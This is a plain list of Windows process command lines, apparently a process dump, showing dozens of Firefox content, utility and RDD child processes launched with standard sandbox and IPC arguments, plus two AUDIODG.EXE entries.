"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.9.1355838635\791414925" -childID 8 -isForBrowser -prefsHandle 6004 -prefMapHandle 6008 -prefsLen 28175 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {85ca067b-f5ea-4f5c-aa1b-9640b8b3144c} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5992 21eb7fc9d58 tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x0000000000000468 0x00000000000004D0

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.10.1855646626\619322215" -parentBuildID 20230214051806 -prefsHandle 6176 -prefMapHandle 6248 -prefsLen 28175 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {be84c199-a874-4955-b07b-239db29a4dcf} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6004 21eb7582858 rdd

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.11.237688617\783697834" -parentBuildID 20230214051806 -sandboxingKind 1 -prefsHandle 6352 -prefMapHandle 6348 -prefsLen 28175 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {44ba7709-c1ca-4cd4-8846-63344a8ce1bf} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6236 21eb7582e58 utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.12.280215405\1043864281" -parentBuildID 20230214051806 -sandboxingKind 0 -prefsHandle 6524 -prefMapHandle 6516 -prefsLen 28175 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {645e9eba-592c-473a-9460-3f79a6dab149} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6532 21eb7583158 utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.13.1072688883\20750141" -childID 9 -isForBrowser -prefsHandle 5284 -prefMapHandle 6720 -prefsLen 28184 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {72f651ef-d6b9-4246-b1f0-b9fe3d8da9e1} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6760 21eb3c56458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.14.2122059781\124368033" -childID 10 -isForBrowser -prefsHandle 5968 -prefMapHandle 5576 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6f6f966-b017-48d0-b553-94587119b779} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5960 21eb7f8eb58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.15.40196523\848539079" -childID 11 -isForBrowser -prefsHandle 4976 -prefMapHandle 6936 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f422ec9-8870-4270-b9fd-2eb9acdc037e} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6024 21eba6bf758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.16.1607706137\14768722" -childID 12 -isForBrowser -prefsHandle 6164 -prefMapHandle 5988 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9dc0d7e8-1a42-4f77-9e58-b17dd4514297} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6156 21ebd52d158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.17.1155459222\184228078" -childID 13 -isForBrowser -prefsHandle 7096 -prefMapHandle 5400 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9de60df6-bc21-4446-b220-e47a8589134b} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6984 21eb74f8858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.18.2068048770\1207676515" -childID 14 -isForBrowser -prefsHandle 6876 -prefMapHandle 7496 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1880d8c3-04f0-449e-ac74-37b449ae434d} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7508 21eb74f6158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.19.1514066350\1442436942" -childID 15 -isForBrowser -prefsHandle 7032 -prefMapHandle 7024 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a1855468-3c5c-4eb7-82ac-829a0fe6bc78} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7412 21eb74f7f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.20.1776982091\1239216239" -childID 16 -isForBrowser -prefsHandle 5960 -prefMapHandle 7220 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f363441-2919-4ff2-9efc-f483f0479bfb} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7292 21eb0790258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.21.1191932809\1649924288" -childID 17 -isForBrowser -prefsHandle 5872 -prefMapHandle 2796 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab9e425d-9f83-4058-a8ca-85f558cbcf5c} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7616 21eb0792f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.22.364947828\916914452" -childID 18 -isForBrowser -prefsHandle 7280 -prefMapHandle 5872 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b31a045-81f9-43a6-bb00-b765b5cf485e} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5956 21eb0791a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.23.1717079131\476579186" -childID 19 -isForBrowser -prefsHandle 7348 -prefMapHandle 5968 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f01f285a-001c-4b0d-be07-736af1fbe59a} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7384 21eba817458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.24.890088457\1299405548" -childID 20 -isForBrowser -prefsHandle 6872 -prefMapHandle 5524 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6304cfa-ef30-42ab-bd90-1d5c7881d610} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7364 21eba818058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.25.1623128787\501492659" -childID 21 -isForBrowser -prefsHandle 7640 -prefMapHandle 7644 -prefsLen 31316 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {efdc6d66-0580-46f5-87cb-1620767b1894} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5692 21ebf3e9f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.26.212275400\88448498" -childID 22 -isForBrowser -prefsHandle 5180 -prefMapHandle 2780 -prefsLen 31325 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c50f9ba0-b165-4b55-9688-9a6782b4bfa2} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7492 21eb4bebd58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.27.266590006\1393620880" -childID 23 -isForBrowser -prefsHandle 7324 -prefMapHandle 6196 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {266c4b0a-bb83-4547-bab6-8552551db722} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5680 21ebac36858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.28.1331665517\78097198" -childID 24 -isForBrowser -prefsHandle 5972 -prefMapHandle 7312 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {202e5ae1-93c2-41dc-9b02-322d655383c0} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6168 21eba817158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.29.1301918828\138900779" -childID 25 -isForBrowser -prefsHandle 11476 -prefMapHandle 4800 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {784f5f54-a527-4690-ab13-8cfae77f1b9c} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11436 21ebe6cc558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.30.976474146\826970921" -childID 26 -isForBrowser -prefsHandle 11220 -prefMapHandle 11280 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a48efaae-4f1f-48c6-a185-1c2c2bdd1b27} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11228 21eb9f0ea58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.31.1988139620\1958071532" -childID 27 -isForBrowser -prefsHandle 5708 -prefMapHandle 7452 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3845bbc2-5792-4094-9bab-42813af8f9a1} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7012 21eb9f0f658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.32.1479621868\1689368697" -childID 28 -isForBrowser -prefsHandle 11412 -prefMapHandle 11424 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {71608d37-e4b8-40ba-a6ce-b73580c51d43} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11328 21ebdad1358 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.33.1715443877\1631984405" -childID 29 -isForBrowser -prefsHandle 7112 -prefMapHandle 6860 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81b50ef4-919d-4931-b73a-2c6650690c4c} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7296 21ebdad0758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.34.1056218926\1894159343" -childID 30 -isForBrowser -prefsHandle 11056 -prefMapHandle 11072 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {53031f95-a407-4626-ae54-c03d38f5cdec} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11128 21ea1974758 tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x0000000000000468 0x00000000000004D0

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.35.1017257272\1591889585" -childID 31 -isForBrowser -prefsHandle 7220 -prefMapHandle 11496 -prefsLen 31334 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {826b4809-3978-4f71-bbdb-501995bac6d9} 248 "\\.\pipe\gecko-crash-server-pipe.248" 4848 21ebedc7758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.36.689186643\605945563" -childID 32 -isForBrowser -prefsHandle 7328 -prefMapHandle 7336 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2dfc2829-0095-4049-ac9d-fc716e35ac8b} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7228 21eb48bbf58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.37.1247534705\918992462" -childID 33 -isForBrowser -prefsHandle 5988 -prefMapHandle 5952 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee8200f8-4153-4ac8-923b-dda5b989e09f} 248 "\\.\pipe\gecko-crash-server-pipe.248" 6208 21eb596b558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.38.1754433340\428418850" -childID 34 -isForBrowser -prefsHandle 11236 -prefMapHandle 11240 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {978d3eb4-819d-43bd-bdee-dd9d2b14ac75} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11232 21eb4beb158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.39.1174375590\1676755653" -childID 35 -isForBrowser -prefsHandle 11440 -prefMapHandle 11016 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d3638ae6-aaa0-4ab8-86cc-279fc5c05f48} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11356 21eb7f8c158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.40.1923846481\1310507640" -childID 36 -isForBrowser -prefsHandle 11048 -prefMapHandle 11060 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {15b4d4dc-bd1f-4a5e-a387-e5d31baf456e} 248 "\\.\pipe\gecko-crash-server-pipe.248" 5984 21ebe8e6e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.41.1064442543\1663440105" -childID 37 -isForBrowser -prefsHandle 3980 -prefMapHandle 5288 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d0502d4-d6c8-40f9-a7f6-41f7497531a7} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7740 21ebea4fb58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.42.274488190\836594040" -childID 38 -isForBrowser -prefsHandle 11240 -prefMapHandle 11236 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {63dd1614-d3eb-401b-8353-9f03d93a957b} 248 "\\.\pipe\gecko-crash-server-pipe.248" 4476 21eb5b41f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.43.512836628\634312691" -childID 39 -isForBrowser -prefsHandle 7644 -prefMapHandle 11468 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1457eeea-2edf-440c-99cc-ec5ea04c19a7} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7752 21ebf1ebe58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.44.763359865\926199440" -childID 40 -isForBrowser -prefsHandle 10812 -prefMapHandle 10808 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a540ae6-0a86-4380-a8a0-43a0905b85ad} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10792 21ebd6f3b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.45.1860727679\279625689" -childID 41 -isForBrowser -prefsHandle 10640 -prefMapHandle 10636 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9aaa4aa7-cc14-42e0-8841-dbb13c562a53} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10652 21ebea38558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.46.1954578420\647713883" -childID 42 -isForBrowser -prefsHandle 10344 -prefMapHandle 3404 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd95ea32-b4af-4daf-bc5f-99067735e5ab} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10332 21ebb3d7158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.47.155195700\1026087119" -childID 43 -isForBrowser -prefsHandle 10092 -prefMapHandle 10200 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b66761b9-6a09-4580-8d70-fa99df8c2095} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10088 21ebebaed58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.48.293197814\1233894433" -childID 44 -isForBrowser -prefsHandle 9880 -prefMapHandle 9884 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {83ff0dce-a345-46d4-b0d3-1db69cbaaccb} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9824 21ebda26258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.49.1729465441\1676315696" -childID 45 -isForBrowser -prefsHandle 9792 -prefMapHandle 9796 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {314642b6-8dda-436b-8f78-83eb7776a3b3} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9784 21ebe509b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.50.638821414\751913156" -childID 46 -isForBrowser -prefsHandle 9696 -prefMapHandle 9688 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3270adc1-5ac2-47e2-83a2-bca9f15d731e} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9612 21ebe50aa58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.51.960520156\591311863" -childID 47 -isForBrowser -prefsHandle 9508 -prefMapHandle 9504 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95279275-86ef-45fb-b2ca-97d2ff4ae8b0} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9420 21ebbbd8858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.52.1910351316\636013483" -childID 48 -isForBrowser -prefsHandle 9520 -prefMapHandle 9516 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {983a4957-ab7b-442c-8da0-9a8b29e66373} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9280 21ebe963e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.53.1763223176\232575010" -childID 49 -isForBrowser -prefsHandle 9296 -prefMapHandle 9292 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c130be6-3e13-441c-927a-c2a7d24446bf} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9304 21ebe965058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.54.1037283684\866095119" -childID 50 -isForBrowser -prefsHandle 8820 -prefMapHandle 8824 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34509070-e39c-4a44-8bf4-e71280cdfb7f} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8808 21ebdbdfb58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.55.1544946309\1079397854" -childID 51 -isForBrowser -prefsHandle 8692 -prefMapHandle 8684 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f1f46b-972d-4f5c-814d-8564ae87feb9} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8608 21ebd099c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.56.1528314116\1801414779" -childID 52 -isForBrowser -prefsHandle 8368 -prefMapHandle 8372 -prefsLen 31343 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba6dc4de-87d0-45ae-a378-93bc6a6ba01d} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8352 21ec0136558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.57.1760199326\703522596" -childID 53 -isForBrowser -prefsHandle 8212 -prefMapHandle 8220 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fb325bf-6d07-491f-b362-b6becea5143a} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9632 21eba5b7d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.58.835985385\738458229" -childID 54 -isForBrowser -prefsHandle 8480 -prefMapHandle 8664 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3fd39293-313d-4d07-9fbd-ef37b4657cb0} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8944 21eba5b6258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.59.990924259\1173919223" -childID 55 -isForBrowser -prefsHandle 9612 -prefMapHandle 9644 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {414b7f35-cbaa-4683-b088-eaf7f7ace499} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9696 21eba5b6558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.60.1826744621\404892085" -childID 56 -isForBrowser -prefsHandle 8480 -prefMapHandle 9680 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {006e2aba-fd42-44d1-aa0a-ad94fda87394} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8944 21ebf35e258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

